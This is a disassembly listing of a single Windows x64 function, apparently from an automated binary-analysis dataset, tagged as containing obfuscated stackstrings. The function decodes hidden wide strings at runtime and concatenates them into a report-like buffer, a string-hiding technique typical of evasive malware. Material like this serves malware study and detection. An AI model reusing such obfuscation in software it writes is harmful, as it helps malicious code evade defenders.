Function at 0x140007ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd20]
sub rsp, 0xe20
mov rax, qword [0x140035010]
xor rax, rsp
mov qword [rbp + 0xd10], rax
lea rcx, [rbp - 0x10]
call fcn.140006b50
xor esi, esi
mov qword [rbp - 0x40], rsi
mov r13d, 7
mov qword [rbp - 0x38], r13
mov word [rbp - 0x50], si
mov dword [rsp + 0x50], 0x6f0071
mov dword [rsp + 0x54], 0x73007e
mov dword [rsp + 0x58], 0x700078
mov dword [rsp + 0x5c], 0x170079
mov dword [rsp + 0x60], 0x520014
mov dword [rsp + 0x64], 0x7d0079
mov dword [rsp + 0x68], 0x2a007e
mov dword [rsp + 0x6c], 0x6b0058
mov dword [rsp + 0x70], 0x6f0077
mov dword [rsp + 0x74], 0x44002a
mov dword [rsp + 0x78], 0x2a
mov eax, esi
movdqa xmm1, xmmword [str._n_n_n_n_n_n_n_n_f_f_f_f_f_f_f_f]
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rax*2 + 0x50]
psubw xmm0, xmm1
movdqu xmmword [rsp + rax*2 + 0x50], xmm0
add rax, 8
cmp rax, 0x10
jb 0x140007fa0
cmp rax, 0x15
jae 0x140007fde
mov ecx, 0xfff6
nop word [rax + rax]
add word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x15
jb 0x140007fd0
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140007ff0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140003f00
lea rax, [rbp - 0x10]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140008014
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000805d
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, 8
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp - 0x10]
call fcn.14000f1a0
mov word [rbx + rdi*2], si
jmp 0x14000806f
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x10]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x1400080a5
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, 8
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], si
jmp 0x1400080c3
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov dword [rsp + 0x30], 0x78005a
mov dword [rsp + 0x34], 0x77006a
mov dword [rsp + 0x38], 0x530025
mov dword [rsp + 0x3c], 0x720066
mov dword [rsp + 0x40], 0x25006a
mov dword [rsp + 0x44], 0x25003f
mov word [rsp + 0x48], si
movdqu xmm0, xmmword [rsp + 0x30]
psubw xmm0, xmmword [0x140031ee0]
movdqu xmmword [rsp + 0x30], xmm0
mov r14d, 8
mov eax, r14d
mov ecx, 0xfffb
nop word [rax + rax]
add word [rsp + rax*2 + 0x30], cx
inc rax
cmp rax, 0xc
jb 0x140008120
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140008140
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x140008189
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rsp + 0x30]
call fcn.14000f1a0
mov word [rbx + rdi*2], si
jmp 0x14000819c
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
lea rax, [rbp + 0x54]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400081b0
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1400081f8
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp + 0x54]
call fcn.14000f1a0
mov word [rbx + rdi*2], si
jmp 0x14000820a
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x54]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x14000823f
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, r14
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], si
jmp 0x14000825d
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov r12d, 0x6e3
mov word [rsp + 0x30], r12w
lea ebx, [r12 - 0x37]
lea edi, [rbx + 4]
lea esi, [rbx + 0x17]
lea edx, [rbx + 1]
lea r8d, [r12 - 0x61]
lea r9d, [r12 - 0x55]
lea r10d, [r12 - 0x5d]
movzx eax, si
lea r11d, [r12 - 0xa]
movzx ecx, si
xor bx, r12w
mov word [rsp + 0x32], bx
xor di, r12w
mov word [rsp + 0x34], di
xor si, r12w
mov word [rsp + 0x36], si
xor dx, r12w
mov word [rsp + 0x38], dx
xor r8w, r12w
mov word [rsp + 0x3a], r8w
xor r9w, r12w
mov word [rsp + 0x3c], r9w
xor r10w, r12w
mov word [rsp + 0x3e], r10w
xor ax, r12w
mov word [rsp + 0x40], ax
xor r11w, r12w
mov word [rsp + 0x42], r11w
xor cx, r12w
mov word [rsp + 0x44], cx
xor esi, esi
mov word [rsp + 0x46], si
lea rax, [rsp + 0x32]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], si
jne 0x140008302
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000834a
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rsp + 0x32]
call fcn.14000f1a0
mov word [rbx + rdi*2], si
jmp 0x14000835d
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x32]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
lea rax, [rbp + 0xb8]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], si
jne 0x140008370
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1400083ba
lea rdi, [rdx + rcx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp + 0xb8]
call fcn.14000f1a0
mov word [rbx + rdi*2], si
jmp 0x1400083cf
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xb8]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x140008404
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, r14
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], si
jmp 0x140008422
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov r12d, 0xd3f7
mov word [rsp + 0x30], r12w
lea ebx, [r12 - 0x3f]
lea edi, [rbx - 0x14]
lea esi, [rbx + 0x1f]
lea edx, [rbx - 2]
lea r8d, [r12 - 0x72]
lea r9d, [r12 - 0x63]
lea r10d, [r12 - 0x58]
movzx eax, si
lea r11d, [r12 - 0x2a]
movzx ecx, si
xor bx, r12w
mov word [rsp + 0x32], bx
xor di, r12w
mov word [rsp + 0x34], di
xor si, r12w
mov word [rsp + 0x36], si
xor dx, r12w
mov word [rsp + 0x38], dx
xor r8w, r12w
mov word [rsp + 0x3a], r8w
xor r9w, r12w
mov word [rsp + 0x3c], r9w
xor r10w, r12w
mov word [rsp + 0x3e], r10w
xor ax, r12w
mov word [rsp + 0x40], ax
xor r11w, r12w
mov word [rsp + 0x42], r11w
xor cx, r12w
mov word [rsp + 0x44], cx
xor r12d, r12d
mov word [rsp + 0x46], r12w
lea rax, [rsp + 0x32]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x1400084d0
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000851a
lea rdi, [rdx + rcx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rsp + 0x32]
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x14000852d
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x32]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
lea rax, [rbp + 0xce8]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x140008540
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000858c
lea rdi, [rdx + rcx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp + 0xce8]
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x1400085a1
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xce8]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x1400085d7
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, r14
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], r12w
jmp 0x1400085f5
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov dword [rsp + 0x30], 0x7a0051
mov dword [rsp + 0x34], 0x750073
mov dword [rsp + 0x38], 0x71007a
mov dword [rsp + 0x3c], 0x4d002c
mov dword [rsp + 0x40], 0x6f007e
mov dword [rsp + 0x44], 0x2c0074
mov dword [rsp + 0x48], 0x2c0046
mov word [rsp + 0x4c], r12w
movdqu xmm0, xmmword [rsp + 0x30]
psubw xmm0, xmmword [0x140031f00]
movdqu xmmword [rsp + 0x30], xmm0
mov rax, r14
mov ecx, 0xfff4
nop
add word [rsp + rax*2 + 0x30], cx
inc rax
cmp rax, 0xe
jb 0x140008650
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x140008670
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1400086ba
lea rdi, [rdx + rcx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rsp + 0x30]
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x1400086cd
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
lea rax, [rbp + 0xcfc]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x1400086e0
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000872c
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, r14
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rbp + 0xcfc]
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x140008741
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xcfc]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x140008777
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, r14
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], r12w
jmp 0x140008795
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov dword [rsp + 0x30], 0x640059
mov dword [rsp + 0x34], 0x660066
mov dword [rsp + 0x38], 0x71006c
mov dword [rsp + 0x3c], 0x230068
mov dword [rsp + 0x40], 0x71004c
mov dword [rsp + 0x44], 0x720069
mov dword [rsp + 0x48], 0x3d0023
mov dword [rsp + 0x4c], 0x23
movdqu xmm0, xmmword [rsp + 0x30]
psubw xmm0, xmmword [0x140031ed0]
movdqu xmmword [rsp + 0x30], xmm0
mov eax, 0xfffd
nop
add word [rsp + r14*2 + 0x30], ax
inc r14
cmp r14, 0xf
jb 0x1400087f0
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x140008810
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14000885b
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, 8
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
lea rdx, [rsp + 0x30]
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x14000886e
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov esi, r12d
lea rcx, [rbp + 0x2c0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140008880
test rax, rax
je 0x140008993
lea r9, [rbp + 0x2c0]
mov r14d, 0x20
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r12w
jne 0x1400088b0
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x1400088f9
lea rdi, [rcx + rdx]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp r8, 8
cmovae rbx, qword [rbp - 0x50]
lea r8, [rdx + rdx]
lea rcx, [rbx + rcx*2]
mov rdx, r9
call fcn.14000f1a0
mov word [rbx + rdi*2], r12w
jmp 0x140008907
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x14000893c
lea rcx, [rdx + 1]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, 8
cmovae rax, qword [rbp - 0x50]
mov word [rax + rdx*2], r14w
mov word [rax + rcx*2], r12w
jmp 0x14000895a
mov qword [rsp + 0x20], 1
lea r9, [0x140031e2c]
mov edx, 1
lea rcx, [rbp - 0x50]
call fcn.14000aae0
inc esi
movsxd rax, esi
imul rcx, rax, 0x208
lea r9, [rbp + 0x2c0]
add r9, rcx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [r9 + rax*2], r12w
jne 0x140008980
test rax, rax
jne 0x1400088a0
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov rax, r8
sub rax, rdx
cmp rax, 2
jb 0x1400089ca
lea rcx, [rdx + 2]
mov qword [rbp - 0x40], rcx
lea rax, [rbp - 0x50]
cmp r8, 8
cmovae rax, qword [rbp - 0x50]
mov dword [rax + rdx*2], 0xa000d
mov word [rax + rcx*2], r12w
jmp 0x1400089e8
mov qword [rsp + 0x20], 2
lea r9, [0x140031dc0]
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.14000aae0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov rsi, qword [rbp - 0x40]
lea rdi, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdi, qword [rbp - 0x50]
movabs rax, 0x7ffffffffffffffe
movabs rdx, 0x7fffffffffffffff
cmp rsi, 8
jae 0x140008a2b
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
mov rbx, r13
jmp 0x140008aa8
mov rbx, rsi
or rbx, 7
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, rdx
ja 0x140008c89
add rcx, rcx
cmp rcx, 0x1000
jb 0x140008a81
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008c89
mov rcx, rax
call fcn.14000b308
mov rcx, rax
test rax, rax
je 0x140008c8f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008a90
test rcx, rcx
je 0x140008a8d
call fcn.14000b308
jmp 0x140008a90
mov rax, r12
mov qword [rsp + 0x30], rax
lea r8, [rsi*2 + 2]
mov rdx, rdi
mov rcx, rax
call fcn.14000f1a0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.140004140
nop
mov r14d, dword [rbp - 0x20]
lea rsi, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rsi, qword [rbp - 0x30]
lea rax, [rsp + 0x50]
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x50]
call fcn.14000a9f0
mov r15, rax
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
mov rbx, qword [0x140035ad0]
lea rdi, [0x140035ac0]
cmp qword [0x140035ad8], 8
cmovae rdi, qword [0x140035ac0]
cmp rbx, 8
jae 0x140008b21
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x78], xmm0
jmp 0x140008bb1
mov r13, rbx
or r13, 7
movabs rax, 0x7ffffffffffffffe
cmp r13, rax
cmova r13, rax
lea rcx, [r13 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140008c83
add rcx, rcx
cmp rcx, 0x1000
jb 0x140008b8b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008c83
mov rcx, rax
call fcn.14000b308
mov rcx, rax
test rax, rax
je 0x140008c95
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008b9a
test rcx, rcx
je 0x140008b97
call fcn.14000b308
jmp 0x140008b9a
mov rax, r12
mov qword [rbp - 0x78], rax
lea r8, [rbx*2 + 2]
mov rdx, rdi
mov rcx, rax
call fcn.14000f1a0
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], r13
mov r9d, r14d
mov r8, rsi
mov rdx, r15
lea rcx, [rbp - 0x78]
call fcn.1400051e0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140008c07
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008c9b
call fcn.14000b594
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140008c53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ca1
call fcn.14000b594
mov rcx, qword [rbp + 0xd10]
xor rcx, rsp
call fcn.14000adb0
lea r11, [rsp + 0xe20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002170
nop
call fcn.140002170
int3
call fcn.1400122ec
nop
call fcn.1400122ec
nop
call fcn.1400122ec
nop
call fcn.1400122ec
int3